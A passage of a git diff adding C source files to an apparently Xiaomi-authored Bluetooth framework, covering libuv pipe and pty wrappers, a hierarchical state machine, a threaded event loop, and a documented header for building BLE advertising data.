CONFIG_NET_RPMSG + /* start RPMSG server */ + err = uv_pipe_init(loop, &handle->srv_pipe[EUV_PIPE_TYPE_SERVER_RPMSG], 0); + if (err != 0) { + BT_LOGE("%s, rpmsg srv_pipe init failed: %s", __func__, uv_strerror(err)); + goto errout_with_creq; + } + + handle->status |= EUV_RPMSG_SERVER_PIPE_OPENED; // mark rpmsg server pipe opened + err = uv_pipe_rpmsg_bind(&handle->srv_pipe[EUV_PIPE_TYPE_SERVER_RPMSG], server_path, ""); + if (err != 0) { + BT_LOGE("%s, rpmsg srv_pipe bind failed: %s", __func__, uv_strerror(err)); + goto errout_with_creq; + } + + handle->srv_pipe[EUV_PIPE_TYPE_SERVER_RPMSG].data = handle; + err = uv_listen((uv_stream_t*)&handle->srv_pipe[EUV_PIPE_TYPE_SERVER_RPMSG], CONFIG_EUV_PIPE_MAX_CONNEXTIONS, euv_rpmsg_listen_callback); + if (err != 0) { + BT_LOGE("%s, rpmsg srv_pipe listen failed: %s", __func__, uv_strerror(err)); + goto errout_with_creq; + } +#endif + + BT_LOGD("%s, handle 0x%p", __func__, handle); + + return handle; + +errout_with_creq: + free(creq); +errout_with_handle: + free(handle); + return NULL; +} + +void euv_pipe_close(euv_pipe_t* handle) +{ + if (!handle) { + BT_LOGE("%s, invalid arg", __func__); + return; + } + + if (handle->mode == EUV_PIPE_TYPE_UNKNOWN) { + BT_LOGE("%s, unkown mode", __func__); + handle->srv_pipe[EUV_PIPE_TYPE_SERVER_LOCAL].data = handle; + uv_close((uv_handle_t*)&handle->srv_pipe[EUV_PIPE_TYPE_SERVER_LOCAL], euv_close_callback); +#ifdef CONFIG_NET_RPMSG + handle->srv_pipe[EUV_PIPE_TYPE_SERVER_RPMSG].data = handle; + uv_close((uv_handle_t*)&handle->srv_pipe[EUV_PIPE_TYPE_SERVER_RPMSG], euv_close_callback); +#endif + return; + } + + if (uv_is_closing((uv_handle_t*)&handle->srv_pipe[handle->mode])) { + BT_LOGE("%s, uv_is_closing", __func__); + return; + } + + euv_pipe_disconnect(handle); + + handle->srv_pipe[handle->mode].data = handle; + uv_close((uv_handle_t*)&handle->srv_pipe[handle->mode], euv_close_callback); +} + +void euv_pipe_disconnect(euv_pipe_t* handle) +{ + if (!handle) { + BT_LOGE("%s, invalid arg", __func__); + return; + } + + if (uv_is_closing((uv_handle_t*)&handle->cli_pipe)) { + BT_LOGE("%s, uv_is_closing", __func__); + return; + } + + euv_pipe_read_stop(handle); + + handle->cli_pipe.data = handle; + uv_close((uv_handle_t*)&handle->cli_pipe, euv_close_callback); +} + +#ifdef CONFIG_NET_RPMSG +void euv_pipe_close2(euv_pipe_t* handle) +{ + euv_pipe_mode_t mode; + + if (!handle) { + BT_LOGE("%s, invalid arg", __func__); + return; + } + + if (handle->mode == EUV_PIPE_TYPE_SERVER_LOCAL) { + mode = EUV_PIPE_TYPE_SERVER_RPMSG; + } else if (handle->mode == EUV_PIPE_TYPE_SERVER_RPMSG) { + mode = EUV_PIPE_TYPE_SERVER_LOCAL; + } else { + BT_LOGE("%s, invalid mode", __func__); + return; + } + + if (uv_is_closing((uv_handle_t*)&handle->srv_pipe[mode])) { + BT_LOGE("%s, uv_is_closing", __func__); + return; + } + + handle->srv_pipe[mode].data = handle; + uv_close((uv_handle_t*)&handle->srv_pipe[mode], euv_close_callback); +} +#endif diff --git a/framework/common/euv_pty.c b/framework/common/euv_pty.c new file mode 100644 index 0000000000000000000000000000000000000000..1602eaf9a3dd34a5e8096c80c8e127273916600a --- /dev/null +++ b/framework/common/euv_pty.c @@ -0,0 +1,198 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "uv.h" +#include <stdbool.h> +#include <stddef.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "euv_pty.h" + +typedef struct _euv_pty { + uv_tty_t uv_tty; +} euv_pty_t; + +typedef struct { + uv_write_t req; + uint8_t* buffer; + euv_write_cb write_cb; +} euv_wreq_t; + +typedef struct { + euv_read_cb read_cb; + euv_alloc_cb alloc_cb; + uint16_t read_size; +} euv_read_t; + +static void uv_close_callback(uv_handle_t* handle) +{ + if (handle->data) + free(handle->data); + free(handle); +} + +static void uv_alloc_callback(uv_handle_t* handle, size_t size, uv_buf_t* buf) +{ + if (!handle->data) + return; + + euv_read_t* reader = (euv_read_t*)handle->data; + + if (reader->alloc_cb) + reader->alloc_cb((euv_pty_t*)handle, (uint8_t**)&buf->base, &buf->len); + else { + buf->base = malloc(reader->read_size); + buf->len = reader->read_size; + } +} + +static void uv_read_callback(uv_stream_t* stream, ssize_t nread, const uv_buf_t* buf) +{ + if (!stream->data) + return; + + euv_read_t* reader = (euv_read_t*)stream->data; + /*if read stopped in read callback, will free reader struct*/ + bool release = !reader->alloc_cb; + + if (reader->read_cb) + reader->read_cb((euv_pty_t*)stream, (const uint8_t*)buf->base, nread); + + if (release) + free(buf->base); +} + +static void uv_write_callback(uv_write_t* req, int status) +{ + euv_wreq_t* wreq = (euv_wreq_t*)req; + + if (wreq->write_cb) + wreq->write_cb((euv_pty_t*)wreq->req.data, wreq->buffer, status); + + free(wreq); +} + +static int euv_pty_read_start_(euv_pty_t* handle, uint16_t read_size, euv_read_cb read_cb, euv_alloc_cb alloc_cb) +{ + euv_read_t* reader; + int ret; + + if (uv_is_active((uv_handle_t*)&handle->uv_tty)) + return 0; + + reader = malloc(sizeof(euv_read_t)); + if (reader == NULL) + return -ENOMEM; + + reader->read_cb = read_cb; + reader->alloc_cb = alloc_cb; + reader->read_size = read_size; + handle->uv_tty.data = reader; + + ret = uv_read_start((uv_stream_t*)&handle->uv_tty, uv_alloc_callback, uv_read_callback); + if (ret != 0) { + handle->uv_tty.data = NULL; + free(reader); + } + + return ret; +} + +int euv_pty_read_start(euv_pty_t* handle, uint16_t read_size, euv_read_cb cb) +{ + return euv_pty_read_start_(handle, read_size, cb, NULL); +} + +int euv_pty_read_start2(euv_pty_t* handle, uint16_t read_size, euv_read_cb read_cb, euv_alloc_cb alloc_cb) +{ + return euv_pty_read_start_(handle, read_size, read_cb, alloc_cb); +} + +int euv_pty_read_stop(euv_pty_t* handle) +{ + if (handle == NULL) + return -EINVAL; + + free(handle->uv_tty.data); + handle->uv_tty.data = NULL; + + if (uv_is_active((uv_handle_t*)&handle->uv_tty)) + return uv_read_stop((uv_stream_t*)&handle->uv_tty); + + return 0; +} + +int euv_pty_write(euv_pty_t* handle, uint8_t* buffer, int length, euv_write_cb cb) +{ + uv_buf_t buf; + euv_wreq_t* wreq; + int ret; + + if (handle == NULL) + return -EINVAL; + + wreq = (euv_wreq_t*)malloc(sizeof(euv_wreq_t)); + if (!wreq) + return -ENOMEM; + + wreq->req.data = (void*)handle; + wreq->buffer = buffer; + wreq->write_cb = cb; + buf = uv_buf_init((char*)buffer, length); + + ret = uv_write(&wreq->req, (uv_stream_t*)&handle->uv_tty, &buf, 1, uv_write_callback); + if (ret != 0) + free(wreq); + + return ret; +} + +euv_pty_t* euv_pty_init(uv_loop_t* loop, int fd, uv_tty_mode_t mode) +{ + euv_pty_t* handle; + int ret; + + if (loop == NULL || fd < 0) + return NULL; + + handle = (euv_pty_t*)malloc(sizeof(euv_pty_t)); + if (!handle) + return NULL; + + memset(handle, 0, sizeof(euv_pty_t)); + ret = uv_tty_init(loop, &handle->uv_tty, fd, 1); + if (ret != 0) { + free(handle); + return NULL; + } + // set mode + ret = uv_tty_set_mode(&handle->uv_tty, mode); + + return handle; +} + +void euv_pty_close(euv_pty_t* hdl) +{ + if (hdl == NULL) + return; + + uv_close((uv_handle_t*)&hdl->uv_tty, uv_close_callback); +} diff --git a/framework/common/state_machine.c b/framework/common/state_machine.c new file mode 100644 index 0000000000000000000000000000000000000000..40284ea4fc2b7da29ef8c12c05481823cb87e72d --- /dev/null +++ b/framework/common/state_machine.c @@ -0,0 +1,99 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdint.h> + +#include "state_machine.h" + +void hsm_ctor(state_machine_t* sm, const state_t* initial_state) +{ + if (sm == NULL) + return; + + sm->initial_state = initial_state; + sm->current_state = NULL; + sm->previous_state = NULL; + hsm_transition_to(sm, sm->initial_state); +} + +void hsm_dtor(state_machine_t* sm) +{ + (void)sm; +} + +void hsm_transition_to(state_machine_t* sm, const state_t* state) +{ + if (sm->current_state != NULL) { + sm->current_state->exit(sm); + sm->previous_state = sm->current_state; + } + sm->current_state = (state_t*)state; + sm->current_state->enter(sm); +} + +const state_t* hsm_get_current_state(state_machine_t* sm) +{ + if (!sm) { + return NULL; + } + + return sm->current_state; +} + +const state_t* hsm_get_previous_state(state_machine_t* sm) +{ + if (!sm) { + return NULL; + } + + return sm->previous_state; +} + +const char* hsm_get_current_state_name(state_machine_t* sm) +{ + if (!sm) { + return NULL; + } + + return sm->current_state->state_name; +} + +const char* hsm_get_state_name(const state_t* state) +{ + if (!state) { + return NULL; + } + + return state->state_name; +} + +uint16_t hsm_get_state_value(const state_t* state) +{ + return state->state_value; +} + +uint16_t hsm_get_current_state_value(state_machine_t* sm) +{ + return sm->current_state->state_value; +} + +bool hsm_dispatch_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + if (sm->current_state == NULL) { + return false; + } + + return sm->current_state->process_event(sm, event, p_data); +} diff --git a/framework/common/uv_thread_loop.c b/framework/common/uv_thread_loop.c new file mode 100644 index 0000000000000000000000000000000000000000..d0f2d1076d479668bc6145846f6f1feb0d3b6b0b --- /dev/null +++ b/framework/common/uv_thread_loop.c @@ -0,0 +1,389 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __NuttX__ +#define _GNU_SOURCE +#endif + +#define LOG_TAG "thread_loop" + +#include <assert.h> +#include <pthread.h> +#include <stdint.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include "bt_config.h" +#include "bt_list.h" +#include "uv_thread_loop.h" + +typedef struct thread_loop { + char name[64]; + uv_async_t async; + uv_thread_t thread; + uv_mutex_t msg_lock; + uv_sem_t ready; + uv_sem_t exited; + uint8_t is_running; + struct list_node msg_queue; +} loop_priv_t; + +typedef struct { + struct list_node node; + union { + thread_func_t func; + }; + void* msg; +} internel_msg_t; + +typedef struct { + thread_func_t func; + void* data; + uv_sem_t signal; +} signal_msg_t; + +typedef struct { + thread_loop_work_t work; + uv_sem_t signal; +} signal_work_t; + +#if defined(ANDROID) +#define LOOP_THREAD_STACK_SIZE 40960 +#else +#define LOOP_THREAD_STACK_SIZE 4096 +#endif + +static void set_ready(void* data) +{ + loop_priv_t* priv = data; + + priv->is_running = 1; + uv_sem_init(&priv->exited, 0); + uv_sem_post(&priv->ready); + syslog(LOG_DEBUG, "set_ready"); +} + +static void set_stop(void* data) +{ + uv_loop_t* loop = data; + loop_priv_t* priv = loop->data; + + priv->is_running = 0; + uv_close((uv_handle_t*)&priv->async, NULL); + uv_stop(loop); + syslog(LOG_DEBUG, "set_stopped"); +} + +static void thread_sync_callback(void* data) +{ + signal_msg_t* msg = (signal_msg_t*)data; + + msg->func(msg->data); + uv_sem_post(&msg->signal); +} + +static void thread_message_callback(uv_async_t* handle) +{ + internel_msg_t* imsg; + loop_priv_t* priv = handle->data; + + for (;;) { + uv_mutex_lock(&priv->msg_lock); + imsg = (internel_msg_t*)list_remove_head(&priv->msg_queue); + uv_mutex_unlock(&priv->msg_lock); + if (!imsg) + return; + + imsg->func(imsg->msg); + free(imsg); + } +} + +static void thread_schedule_loop(void* data) +{ + uv_loop_t* loop = data; + loop_priv_t* priv = loop->data; + + int ret = uv_async_init(loop, &priv->async, thread_message_callback); + if (ret != 0) { + syslog(LOG_ERR, "%s async error: %d", __func__, ret); + return; + } + + priv->async.data = priv; + syslog(LOG_DEBUG, "%s:%p, async:%p", __func__, loop, &priv->async); + do_in_thread_loop(loop, set_ready, priv); + uv_run(loop, UV_RUN_DEFAULT); + priv->is_running = 0; + (void)uv_loop_close(loop); + + syslog(LOG_DEBUG, "%s %s quit", priv->name, __func__); + + uv_sem_post(&priv->exited); +} + +static void handle_close_cb(uv_handle_t* handle) +{ + free(handle); +} + +int thread_loop_init(uv_loop_t* loop) +{ + int ret; + loop_priv_t* priv = malloc(sizeof(loop_priv_t)); + if (!priv) + return -ENOMEM; + + priv->is_running = 0; + ret = uv_mutex_init(&priv->msg_lock); + if (ret != 0) { + free(priv); + syslog(LOG_ERR, "%s mutex error: %d", __func__, ret); + return ret; + } + + list_initialize(&priv->msg_queue); + ret = uv_loop_init(loop); + if (ret != 0) { + list_delete(&priv->msg_queue); + uv_mutex_destroy(&priv->msg_lock); + free(priv); + return ret; + } + + loop->data = priv; + + return 0; +} + +int thread_loop_run(uv_loop_t* loop, bool start_thread, const char* name) +{ + loop_priv_t* priv = loop->data; + + if (start_thread) { + int ret = uv_sem_init(&priv->ready, 0); + if (ret != 0) { + syslog(LOG_ERR, "%s sem init error: %d", __func__, ret); + return ret; + } + + uv_thread_options_t options = { + UV_THREAD_HAS_STACK_SIZE | UV_THREAD_HAS_PRIORITY, + LOOP_THREAD_STACK_SIZE, + CONFIG_BLUETOOTH_SERVICE_LOOP_THREAD_PRIORITY + 1 + }; + ret = uv_thread_create_ex(&priv->thread, &options, thread_schedule_loop, (void*)loop); + if (ret != 0) { + syslog(LOG_ERR, "loop thread create :%d", ret); + return ret; + } + + if (name != NULL && strlen(name) > 0) + snprintf(priv->name, sizeof(priv->name), "%s_%d", name, getpid()); + else + snprintf(priv->name, sizeof(priv->name), "loop_%d", getpid()); + pthread_setname_np(priv->thread, priv->name); + uv_sem_wait(&priv->ready); + uv_sem_destroy(&priv->ready); + syslog(LOG_DEBUG, "%s loop running now !!!", priv->name); + } else { + syslog(LOG_DEBUG, "%s loop running now !!!", name); + thread_schedule_loop(NULL); + } + + return 0; +} + +void thread_loop_exit(uv_loop_t* loop) +{ + struct list_node* node; + struct list_node* tmp; + + if (!loop || !loop->data) + return; + + loop_priv_t* priv = loop->data; + + if (priv->is_running) { + do_in_thread_loop(loop, set_stop, (void*)loop); + uv_sem_wait(&priv->exited); + uv_sem_destroy(&priv->exited); + } else { + if (!uv_loop_is_close(loop)) { + uv_run(loop, UV_RUN_ONCE); + (void)uv_loop_close(loop); + } + } + + uv_mutex_lock(&priv->msg_lock); + list_for_every_safe(&priv->msg_queue, node, tmp) + { + list_delete(node); + free(node); + } + list_delete(&priv->msg_queue); + uv_mutex_unlock(&priv->msg_lock); + uv_mutex_destroy(&priv->msg_lock); + free(priv); +} + +uv_poll_t* thread_loop_poll_fd(uv_loop_t* loop, int fd, int pevents, uv_poll_cb cb, void* userdata) +{ + assert(fd); + assert(cb); + + uv_poll_t* handle = (uv_poll_t*)malloc(sizeof(uv_poll_t)); + if (!handle) + return NULL; + + handle->data = userdata; + int ret = uv_poll_init(loop, handle, fd); + if (ret != 0) + goto error; + + ret = uv_poll_start(handle, pevents, cb); + if (ret != 0) + goto error; + + return handle; + +error: + syslog(LOG_ERR, "%s failed: %d", __func__, ret); + free(handle); + return NULL; +} + +int thread_loop_reset_poll(uv_poll_t* poll, int pevents, uv_poll_cb cb) +{ + assert(poll); + + uv_poll_stop(poll); + + return uv_poll_start(poll, pevents, cb); +} + +void thread_loop_remove_poll(uv_poll_t* poll) +{ + if (!poll) + return; + + uv_poll_stop(poll); + uv_close((uv_handle_t*)poll, handle_close_cb); +} + +uv_timer_t* thread_loop_timer(uv_loop_t* loop, uint64_t timeout, uint64_t repeat, uv_timer_cb cb, void* userdata) +{ + if (!cb) + return NULL; + + uv_timer_t* handle = malloc(sizeof(uv_timer_t)); + if (!handle) + return NULL; + + uv_timer_init(loop, handle); + handle->data = userdata; + uv_timer_start(handle, cb, timeout, repeat); + + return handle; +} + +uv_timer_t* thread_loop_timer_no_repeating(uv_loop_t* loop, uint64_t timeout, uv_timer_cb cb, void* userdata) +{ + return thread_loop_timer(loop, timeout, 0, cb, userdata); +} + +void thread_loop_cancel_timer(uv_timer_t* timer) +{ + if (!timer) + return; + + uv_timer_stop(timer); + uv_close((uv_handle_t*)timer, handle_close_cb); +} + +void do_in_thread_loop(uv_loop_t* loop, thread_func_t func, void* data) +{ + loop_priv_t* priv = loop->data; + internel_msg_t* msg = (internel_msg_t*)malloc(sizeof(internel_msg_t)); + assert(msg); + + msg->func = func; + msg->msg = data; + + uv_mutex_lock(&priv->msg_lock); + list_add_tail(&priv->msg_queue, &msg->node); + uv_mutex_unlock(&priv->msg_lock); + + uv_async_send(&priv->async); +} + +void do_in_thread_loop_sync(uv_loop_t* loop, thread_func_t func, void* data) +{ + signal_msg_t msg; + + msg.func = func; + msg.data = data; + uv_sem_init(&msg.signal, 0); + do_in_thread_loop(loop, thread_sync_callback, &msg); + uv_sem_wait(&msg.signal); + uv_sem_destroy(&msg.signal); +} + +static void work_sync_cb(uv_work_t* req) +{ + signal_work_t* work = req->data; + assert(work); + + if (work->work.work_cb) + work->work.work_cb(&work->work, work->work.userdata); +} + +static void after_work_sync_cb(uv_work_t* req, int status) +{ + signal_work_t* work = req->data; + assert(status == 0); + assert(work); + + if (work->work.after_work_cb) + work->work.after_work_cb(&work->work, work->work.userdata); + + uv_sem_post(&work->signal); +} + +void thread_loop_work_sync(uv_loop_t* loop, void* user_data, thread_work_cb_t work_cb, + thread_after_work_cb_t after_work_cb) +{ + signal_work_t* work = (signal_work_t*)calloc(1, sizeof(signal_work_t)); + if (work == NULL) + return; + + work->work.userdata = user_data; + work->work.work_cb = work_cb; + work->work.after_work_cb = after_work_cb; + work->work.work.data = work; + uv_sem_init(&work->signal, 0); + + if (uv_queue_work(loop, &work->work.work, work_sync_cb, after_work_sync_cb) != 0) { + syslog(LOG_DEBUG, "%s uv_queue_work failed", __func__); + goto exit; + } + + uv_sem_wait(&work->signal); +exit: + uv_sem_destroy(&work->signal); + free(work); +} diff --git a/framework/dbus/dbus.h b/framework/dbus/dbus.h new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/framework/include/advertiser_data.h b/framework/include/advertiser_data.h new file mode 100644 index 0000000000000000000000000000000000000000..649e9ef955ba8b5f6ec016faaee58b40cd8fdd95 --- /dev/null +++ b/framework/include/advertiser_data.h @@ -0,0 +1,334 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __ADVERTISER_DATA_H__ +#define __ADVERTISER_DATA_H__ + +#ifdef __cplusplus +extern "C" { +#endif +#include <stdbool.h> +#include <stdint.h> + +#include "bt_uuid.h" + +#define BT_AD_FLAGS 0x01 /* Flags */ +#define BT_AD_UUID16_SOME 0x02 /* Incomplete List of 16­bit Service Class UUIDs */ +#define BT_AD_UUID16_ALL 0x03 /* Complete List of 16­bit Service Class UUIDs */ +#define BT_AD_UUID32_SOME 0x04 /* Incomplete List of 32­bit Service Class UUIDs */ +#define BT_AD_UUID32_ALL 0x05 /* Complete List of 32­bit Service Class UUIDs */ +#define BT_AD_UUID128_SOME 0x06 /* Incomplete List of 128­bit Service Class UUIDs */ +#define BT_AD_UUID128_ALL 0x07 /* Complete List of 128­bit Service Class UUIDs */ +#define BT_AD_NAME_SHORT 0x08 /* Shortened Local Name */ +#define BT_AD_NAME_COMPLETE 0x09 /* Complete Local Name */ +#define BT_AD_TX_POWER 0x0a /* Tx Power Level */ +#define BT_AD_CLASS_OF_DEV 0x0d /* Class of Device */ +#define BT_AD_SSP_HASH 0x0e /* Simple Pairing Hash C­192 */ +#define BT_AD_SSP_RANDOMIZER 0x0f /* Simple Pairing Randomizer R­192 */ +#define BT_AD_DEVICE_ID 0x10 /* Device ID */ +#define BT_AD_SMP_TK 0x10 /* Security Manager TK Value */ +#define BT_AD_SMP_OOB_FLAGS 0x11 /* Security Manager Out of Band Flags */ +#define BT_AD_PERIPHERAL_CONN_INTERVAL 0x12 /* Peripheral Connection Interval Range */ +#define BT_AD_SOLICIT16 0x14 /* List of 16­bit Service Solicitation UUIDs */ +#define BT_AD_SOLICIT128 0x15 /* List of 128­bit Service Solicitation UUIDs */ +#define BT_AD_SERVICE_DATA16 0x16 /* Service Data ­ 16­bit UUID */ +#define BT_AD_PUBLIC_ADDRESS 0x17 /* Public Target Address */ +#define BT_AD_RANDOM_ADDRESS 0x18 /* Random Target Address */ +#define BT_AD_GAP_APPEARANCE 0x19 /* Appearance */ +#define BT_AD_ADVERTISING_INTERVAL 0x1a /* Advertising Interval */ +#define BT_AD_LE_DEVICE_ADDRESS 0x1b /* LE Bluetooth Device Address */ +#define BT_AD_LE_ROLE 0x1c /* LE Role */ +#define BT_AD_SSP_HASH_P256 0x1d /* Simple Pairing Hash C­256 */ +#define BT_AD_SSP_RANDOMIZER_P256 0x1e /* Simple Pairing Randomizer R­256 */ +#define BT_AD_SOLICIT32 0x1f /* List of 32­bit Service Solicitation UUIDs */ +#define BT_AD_SERVICE_DATA32 0x20 /* Service Data ­ 32­bit UUID */ +#define BT_AD_SERVICE_DATA128 0x21 /* Service Data ­ 128­bit UUID */ +#define BT_AD_LE_SC_CONFIRM_VALUE 0x22 /* LE Secure Connections Confirmation Value */ +#define BT_AD_LE_SC_RANDOM_VALUE 0x23 /* LE Secure Connections Random Value */ +#define BT_AD_URI 0x24 /* URI */ +#define BT_AD_INDOOR_POSITIONING 0x25 /* Indoor Positioning */ +#define BT_AD_TRANSPORT_DISCOVERY 0x26 /* Transport Discovery Data */ +#define BT_AD_LE_SUPPORTED_FEATURES 0x27 /* LE Supported Features */ +#define BT_AD_CHANNEL_MAP_UPDATE_IND 0x28 /* Channel Map Update Indication */ +#define BT_AD_MESH_PROV 0x29 /* PB­ADV */ +#define BT_AD_MESH_DATA 0x2a /* Mesh Message */ +#define BT_AD_MESH_BEACON 0x2b /* Mesh Beacon */ +#define BT_AD_BIG_INFO 0x2C /* BIGInfo */ +#define BT_AD_BROADCAST_CODE 0x2D /* Broadcast_Code */ +#define BT_AD_RESOLVABLE_SET_IDENTIFIER 0x2E /* Resolvable Set Identifier */ +#define BT_AD_ADV_INTERVAL_LONG 0x2F /* Advertising Interval ­ long */ +#define BT_AD_BROADCAST_NAME 0x30 /* Broadcast_Name */ +#define BT_AD_ENCRYPTED_ADV_DATA 0x31 /* Encrypted Advertising Data */ +#define BT_AD_PERIODIC_ADV_RSP_TIMING 0x32 /* Periodic Advertising Response Timing Information */ +#define BT_AD_3D_INFO_DATA 0x3d /* 3D Information Data */ +#define BT_AD_MANUFACTURER_DATA 0xff /* Manufacturer Specific Data */ + +#define BT_LE_AD_NAME_LEN 29 + +#define BT_AD_FLAG_LIMITED_DISCOVERABLE 1 +#define BT_AD_FLAG_GENERAL_DISCOVERABLE 2 +#define BT_AD_FLAG_BREDR_NOT_SUPPORT 4 +#define BT_AD_FLAG_DUAL_MODE 8 + +/** + * @cond + */ +typedef struct adv_data { + uint8_t len; + uint8_t type; + uint8_t data[0]; +} adv_data_t; +/** + * @endcond + */ + +typedef struct advertiser_data_ advertiser_data_t; + +/** + * @brief Advertising data dump callback function. + * + * Function prototype for dumping advertising data in string format. + * + * @param str - Null-terminated string to dump. + */ +typedef void (*ad_dump_cb_t)(const char* str); + +/** + * @brief Dump advertising data. + * + * Parses the advertising data and outputs it using the provided dump callback. + * + * @param data - Pointer to the advertising data buffer. + * @param len - Length of the advertising data buffer. + * @param dump - Callback function to output the parsed data. + * @return true - Parsing and dumping was successful. + * @return false - Parsing failed. + * + * **Example:** + * @code +static void on_scan_result_cb(bt_scanner_t* scanner, ble_scan_result_t* result) +{ + PRINT_ADDR("ScanResult ------[%s]------", &result->addr); + PRINT("AddrType:%d", result->addr_type); + PRINT("Rssi:%d", result->rssi); + PRINT("Type:%d", result->adv_type); + advertiser_data_dump((uint8_t*)result->adv_data, result->length, NULL); + PRINT("\n"); +} + * @endcode + */ +bool advertiser_data_dump(uint8_t* data, uint16_t len, ad_dump_cb_t dump); + +/** + * @brief Create a new advertiser data object. + * + * Allocates and initializes a new advertiser data object. + * + * @return advertiser_data_t* - Pointer to the new advertiser data object; NULL on failure. + * + * **Example:** + * @code +advertiser_data_t* ad = advertiser_data_new(); +if (ad == NULL) { + // Handle allocation failure +} + * @endcode + */ +advertiser_data_t* advertiser_data_new(void); + +/** + * @brief Free an advertiser data object. + * + * Frees the memory associated with an advertiser data object. + * + * @param ad - Pointer to the advertiser data object to free. + * + * **Example:** + * @code +advertiser_data_free(ad); + * @endcode + */ +void advertiser_data_free(advertiser_data_t* ad); + +/** + * @brief Build the advertising data buffer. + * + * Constructs the advertising data buffer from the advertiser data object. + * + * @param ad - Pointer to the advertiser data object. + * @param[out] len - Pointer to store the length of the advertising data buffer. + * @return uint8_t* - Pointer to the advertising data buffer; NULL on failure. + * + * **Note:** The returned buffer should be freed by the caller when no longer needed. + * + * **Example:** + * @code +uint16_t len; +uint8_t* data = advertiser_data_build(ad, &len); +if (data != NULL) { + // Use the advertising data buffer + free(data); +} + * @endcode + */ +uint8_t* advertiser_data_build(advertiser_data_t* ad, uint16_t* len); + +/** + * @brief Set the device name in advertising data. + * + * Sets the local device name to be included in the advertising data. + * + * @param ad - Pointer to the advertiser data object. + * @param name - Null-terminated string containing the device name. + * + * **Example:** + * @code +advertiser_data_set_name(ad, "My Device"); + * @endcode + */ +void advertiser_data_set_name(advertiser_data_t* ad, const char* name); + +/** + * @brief Set the advertising flags. + * + * Sets the advertising flags to be included in the advertising data. + * + * @param ad - Pointer to the advertiser data object. + * @param flags - Advertising flags, see BT_AD_FLAG_* definitions. + * + * **Example:** + * @code +advertiser_data_set_flags(ad, BT_AD_FLAG_GENERAL_DISCOVERABLE | BT_AD_FLAG_BREDR_NOT_SUPPORT); + * @endcode + */ +void advertiser_data_set_flags(advertiser_data_t* ad, uint8_t flags); + +/** + * @brief Set the GAP appearance. + * + * Sets the GAP appearance value to be included in the advertising data. + * + * @param ad - Pointer to the advertiser data object. + * @param appearance - Appearance value, see GAP Appearance Values. + * + * **Example:** + * @code +advertiser_data_set_appearance(ad, 0x03C0); // HID Generic + * @endcode + */ +void advertiser_data_set_appearance(advertiser_data_t* ad, uint16_t appearance); + +/** + * @brief Add custom data to advertising data. + * + * Adds a custom AD structure to the advertising data. + * + * @param ad - Pointer to the advertiser data object. + * @param type - AD type, see BT_AD_* definitions. + * @param data - Pointer to the data payload. + * @param len - Length of the data payload. + * + * **Example:** + * @code +uint8_t custom_data[] = {0x01, 0x02, 0x03}; +advertiser_data_add_data(ad, BT_AD_MANUFACTURER_DATA, custom_data, sizeof(custom_data)); + * @endcode + */ +void advertiser_data_add_data(advertiser_data_t* ad, uint8_t type, uint8_t* data, uint8_t len); + +/** + * @brief Remove custom data from advertising data. + * + * Removes a custom AD structure from the advertising data. + * + * @param ad - Pointer to the advertiser data object. + * @param type - AD type, see BT_AD_* definitions. + * @param data - Pointer to the data payload. + * @param len - Length of the data payload. + * + * **Example:** + * @code +advertiser_data_remove_data(ad, BT_AD_MANUFACTURER_DATA, custom_data, sizeof(custom_data)); + * @endcode + */ +void advertiser_data_remove_data(advertiser_data_t* ad, uint8_t type, uint8_t* data, uint8_t len); + +/** + * @brief Add manufacturer-specific data to advertising data. + * + * Adds manufacturer-specific data to the advertising data. + * + * @param ad - Pointer to the advertiser data object. + * @param manufacture_id - Manufacturer ID assigned by the Bluetooth SIG. + * @param data - Pointer to the manufacturer-specific data. + * @param length - Length of the manufacturer-specific data. + * + * **Example:** + * @code +uint8_t manuf_data[] = {0x12, 0x34, 0x56}; +advertiser_data_add_manufacture_data(ad, 0x038F, manuf_data, sizeof(manuf_data)); // 0x038F is Xiaomi Inc. + * @endcode + */ +void advertiser_data_add_manufacture_data(advertiser_data_t* ad, + uint16_t manufacture_id, + uint8_t* data, uint8_t length); + +/** + * @brief Add a service UUID to advertising data. + * + * Adds a service UUID to the advertising data. + * + * @param ad - Pointer to the advertiser data object. + * @param uuid - Pointer to the UUID to add, see @ref bt_uuid_t. + * @return true - UUID added successfully. + * @return false - Failed to add UUID. + * + * **Example:** + * @code 